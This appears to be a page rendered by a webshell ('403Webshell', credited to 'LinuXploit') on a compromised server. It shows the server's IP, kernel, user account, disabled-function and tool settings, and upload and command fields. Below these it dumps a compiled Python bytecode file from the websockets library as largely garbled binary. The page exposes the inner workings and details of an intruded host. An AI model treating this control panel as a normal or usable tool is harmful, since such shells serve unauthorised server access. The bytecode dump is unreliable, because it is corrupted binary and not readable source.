403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/websockets/legacy/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/websockets/legacy/__pycache__/http.cpython-311.pyc
�

�=Xc���ddlmZddlZddlZddlmZddlmZddlm	Z	ddgZ
d	Zd
Zdd�Z
ejd��Zejd��Zdd�Zdd�Zdd�Zdd�ZdS) �)�annotationsN)�Tuple�)�Headers)�
SecurityError�read_request�
read_response�i�value�bytes�return�strc�.�|�d���S)zG
    Decode a bytestring for interpolating into an error message.

    �backslashreplace)�errors)�decode)rs �8/usr/lib/python3/dist-packages/websockets/legacy/http.py�drs��
�<�<�1�<�2�2�2�s[-!#$%&\'*+.^_`|~0-9a-zA-Z]+s[\x09\x20-\x7e\x80-\xff]*�stream�asyncio.StreamReader�Tuple[str, Headers]c��K�	t|���d{V��}n"#t$r}td��|�d}~wwxYw	|�dd��\}}}n.#t$r!tdt	|������d�wxYw|dkrtdt	|�������|dkrtd	t	|�������|�d
d��}t
|���d{V��}||fS)a�
    Read an HTTP/1.1 GET request and return ``(path, headers)``.

    ``path`` isn't URL-decoded or validated in any way.

    ``path`` and ``headers`` are expected to contain only ASCII characters.
    Other characters are represented with surrogate escapes.

    :func:`read_request` doesn't attempt to read the request body because
    WebSocket handshake requests don't have one. If the request contains a
    body, it may be read from ``stream`` after this coroutine returns.

    Args:
        stream: input to read the request from

    Raises:
        EOFError: if the connection is closed without a full HTTP request
        SecurityError: if the request exceeds a security limit
        ValueError: if the request isn't well formatted

    Nz1connection closed while reading HTTP request line� rzinvalid HTTP request line: sGETzunsupported HTTP method: �HTTP/1.1�unsupported HTTP version: �ascii�surrogateescape)�	read_line�EOFError�split�
ValueErrorrr�read_headers)r�request_line�exc�method�raw_path�version�path�headerss        rrr-sS����8U�&�v�.�.�.�.�.�.�.�.�����U�U�U��J�K�K�QT�T�����U����T�$0�$6�$6�t�Q�$?�$?�!���'�'���T�T�T��H�q����H�H�I�I�t�S�T���������@�Q�v�Y�Y�@�@�A�A�A��+����B�a��j�j�B�B�C�C�C��?�?�7�$5�6�6�D� ��(�(�(�(�(�(�(�(�G���=�s��
9�4�9�A�+B�Tuple[int, str, Headers]c��K�	t|���d{V��}n"#t$r}td��|�d}~wwxYw	|�dd��\}}}n.#t$r!tdt	|������d�wxYw|dkrtdt	|�������	t|��}n.#t$r!tdt	|������d�wxYwd	|cxkrd
ks!ntdt	|�������t�|��stdt	|�������|���}t|���d{V��}|||fS)
a�
    Read an HTTP/1.1 response and return ``(status_code, reason, headers)``.

    ``reason`` and ``headers`` are expected to contain only ASCII characters.
    Other characters are represented with surrogate escapes.

    :func:`read_request` doesn't attempt to read the response body because
    WebSocket handshake responses don't have one. If the response contains a
    body, it may be read from ``stream`` after this coroutine returns.

    Args:
        stream: input to read the response from

    Raises:
        EOFError: if the connection is closed without a full HTTP response
        SecurityError: if the response exceeds a security limit
        ValueError: if the response isn't well formatted

    Nz0connection closed while reading HTTP status linerrzinvalid HTTP status line: rrzinvalid HTTP status code: �di�zunsupported HTTP status code: zinvalid HTTP reason phrase: )
rr r!r"r�int�	_value_re�	fullmatchrr#)	r�status_liner%r(�raw_status_code�
raw_reason�status_code�reasonr*s	         rr	r	^s�����2T�%�f�-�-�-�-�-�-�-�-�����T�T�T��I�J�J�PS�S�����T����R�/:�/@�/@��q�/I�/I�,���*�*���R�R�R��F�a��n�n�F�F�G�G�T�Q�R�����+����B�a��j�j�B�B�C�C�C�V��/�*�*�����V�V�V��J�a��6H�6H�J�J�K�K�QU�U�V�����+�$�$�$�$��$�$�$�$��N�!�O�:L�:L�N�N�O�O�O����z�*�*�I��G��*�
�
�G�G�H�H�H�
�
�
�
 �
 �F� ��(�(�(�(�(�(�(�(�G����'�'s'��
9�4�9�A�+B�,B<�<+C'rc��K�t��}ttdz��D�]E}	t|���d{V��}n"#t$r}t	d��|�d}~wwxYw|dkr�n	|�dd��\}}n.#t$r!t
dt|������d�wxYwt�	|��st
dt|�������|�
d��}t�	|��st
d	t|�������|�d
��}|�d
d��}|||<��Gtd���|S)
zo
    Read HTTP headers from ``stream``.

    Non-ASCII characters are represented with surrogate escapes.

    �Nz,connection closed while reading HTTP headersr�:zinvalid HTTP header line: zinvalid HTTP header name: s 	zinvalid HTTP header value: rrztoo many HTTP headers)r�range�MAX_HEADERSrr r!r"r�	_token_rer0�stripr/rr)	rr*�_�liner%�raw_name�	raw_value�namers	         rr#r#�s������i�i�G�
�;��?�
#�
#�5�5��	T�"�6�*�*�*�*�*�*�*�*�D�D���	T�	T�	T��I�J�J�PS�S�����	T�����3�;�;��E�	O�"&�*�*�T�1�"5�"5��H�i�i���	O�	O�	O��C�!�D�'�'�C�C�D�D�$�N�	O�����"�"�8�,�,�	I��G�!�H�+�+�G�G�H�H�H��O�O�F�+�+�	��"�"�9�-�-�	K��I�1�Y�<�<�I�I�J�J�J����w�'�'��� � ��*;�<�<�����
�
��3�4�4�4��Ns#�A�
A!�A�A!�.B�+B3c���K�|����d{V��}t|��tkrtd���|�d��std���|dd�S)z[
    Read a single line from ``stream``.

    CRLF is stripped from the return value.

    Nz
line too longs
zline without CRLF���)�readline�len�MAX_LINEr�endswithr )rr>s  rrr�sy�������"�"�"�"�"�"�"�"�D�
�4�y�y�8����O�,�,�,��=�=��!�!�,��*�+�+�+�����9�r)rrr
r)rrr
r)rrr
r+)rrr
r)rrr
r)�
__future__r�asyncio�re�typingr�datastructuresr�
exceptionsr�__all__r:rFr�compiler;r/rr	r#r�rr�<module>rQs��"�"�"�"�"�"�����	�	�	�	�������$�$�$�$�$�$�&�&�&�&�&�&��?�
+������3�3�3�3�
�B�J�7�8�8�	�
�B�J�4�5�5�	�.�.�.�.�b1(�1(�1(�1(�h%�%�%�%�P�����r

Youez - 2016 - github.com/yon3zu
LinuXploit